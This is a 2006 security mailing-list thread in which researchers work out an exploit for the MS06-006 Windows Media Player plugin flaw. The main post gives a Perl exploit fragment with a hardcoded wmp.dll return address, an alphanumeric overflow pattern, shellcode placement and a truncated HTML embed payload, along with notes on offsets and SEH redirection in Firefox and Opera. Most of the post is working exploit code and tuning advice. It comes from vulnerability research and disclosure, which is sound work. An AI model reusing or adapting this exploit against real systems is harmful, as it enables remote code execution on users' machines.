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Re: MS06-06 Windows Media Player Exploitation
From: H D Moore <fdlist () digitaloffense net>
Date: Thu, 16 Feb 2006 19:41:05 -0600

Got it working finally :-) The alpha shellcode stuff is actually 
Skylined's (ported to perl), the non-alpha prefix is only used if you 
dont pass GETPCTYPE=win32 for PexAlphaNum or GETPCTYPE=seh for Alpha2. I 
am using an address in wmp.dll (v9) and tested it successfully on Firefox 
and Opera. Time to start porting to v10 and have it auto-detect the WMP 
version. Keep your SRC path less than 4K or you end up smashing the PEB's  
module list pointers (at least with Firefox)...


my $addr = 0x07694b1e; # wmp.dll v9.00.00.2980
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $pattern   = Pex::Text::AlphaNumText(4096);

substr($pattern, 2082, 4,   "ABC=");       # inc, inc, inc, cmp eax, [ptr]      
substr($pattern, 2086, 4, pack('V', $addr));
substr($pattern, 2090, length($shellcode), $shellcode);

my $content   = "<html><body><embed type=\"application/x-mplayer2\" 

On Thursday 16 February 2006 19:15, c0ntex wrote:
On 16/02/06, H D Moore <fdlist () digitaloffense net> wrote:
Still getting some annoying crashes (SEH trick in alphanum code is
annoying when you are trying to debug something...), but the basic
solution is:

Ye, we are on the same path if you looked at my notes, SEH works
flawlessly and can redirect no problem, but getting the stable
location to have it go is the problem. I had to reject the "pass
shellcode in the src="" method as I am finding your Alpha shellcode
skechy and not 100% alpha :p due to the FF and other annoying
characters, which cause it to bork.

I'm working on another method which is looking more realistic but I
need to wait til tomorrow now as I need to sleep  :)


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